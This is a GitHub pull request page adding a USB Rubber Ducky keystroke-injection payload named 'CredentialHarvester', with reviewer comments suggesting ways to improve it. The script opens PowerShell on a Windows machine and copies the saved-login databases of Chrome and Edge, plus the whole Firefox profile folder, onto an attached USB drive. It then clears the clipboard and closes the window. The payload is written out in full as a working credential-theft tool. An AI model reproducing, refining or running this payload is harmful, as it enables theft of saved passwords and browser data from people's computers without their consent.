-
Notifications
You must be signed in to change notification settings - Fork 1.4k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Added Vulnerability Scanning Script And Password Exfiltration For Various Browsers #452
base: master
Are you sure you want to change the base?
Changes from all commits
ddd7d2a
5b5c57f
582bb61
8126098
f843113
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | ||
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | ||
REM %%%%%%%%%%%%%% Title: CredentialHarvester %%%%%%%%%%%%%% | ||
REM %%%%%%%%%%%%%% Author: github.com/markcyber %%%%%%%%%%%%%% | ||
REM %%%%%%%%%%%%%% Description: This script exfiltrates credentials %%%%%%%%%%%%%% | ||
REM %%%%%%%%%%%%%% Target: Firefox, Chrome, Edge on Windows Machines %%%%%%%%%%%%%% | ||
REM %%%%%%%%%%%%%% Category: Exfiltration %%%%%%%%%%%%%% | ||
REM %%%%%%%%%%%%%% This script requires a secondary USB named "MYUSB" to save credentials to %%%%%%%%%%%%%% | ||
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | ||
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | ||
REM Open PowerShell with elevated privileges | ||
DELAY 1000 | ||
GUI r | ||
DELAY 500 | ||
STRING powershell | ||
DELAY 500 | ||
ENTER | ||
DELAY 1500 | ||
REM Check if the USB drive exists | ||
STRING $usbDrive = Get-WmiObject Win32_Volume ^| Where-Object { $_.Label -eq 'MYUSB' } ^| Select-Object -ExpandProperty DriveLetter; | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The default drive label for the Ducky is you would do this by adding to the top of the payload:
You can also use |
||
ENTER | ||
DELAY 500 | ||
STRING if ($usbDrive -ne $null) { | ||
ENTER | ||
DELAY 500 | ||
STRING cd $usbDrive | ||
ENTER | ||
DELAY 500 | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I see you are using a lot of |
||
STRING mkdir BrowserData | ||
ENTER | ||
DELAY 500 | ||
STRING cd BrowserData | ||
ENTER | ||
DELAY 500 | ||
REM Copy Chrome Login Data to USB | ||
STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" | ||
ENTER | ||
STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData" } | ||
ENTER | ||
DELAY 500 | ||
REM Copy Firefox Login Data to USB | ||
STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\" | ||
ENTER | ||
STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData" } | ||
ENTER | ||
DELAY 500 | ||
REM Copy Edge Login Data to USB | ||
STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data" | ||
ENTER | ||
STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData" } | ||
ENTER | ||
DELAY 500 | ||
STRING } | ||
ENTER | ||
DELAY 500 | ||
REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC) | ||
STRING echo off ^| clip | ||
ENTER | ||
DELAY 500 | ||
REM Close PowerShell | ||
STRING exit | ||
ENTER | ||
DELAY 500 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The Ducky can do this. you can specify
ATTACKMODE HID STORAGE
for the ducky to act as both a storage device and a HID device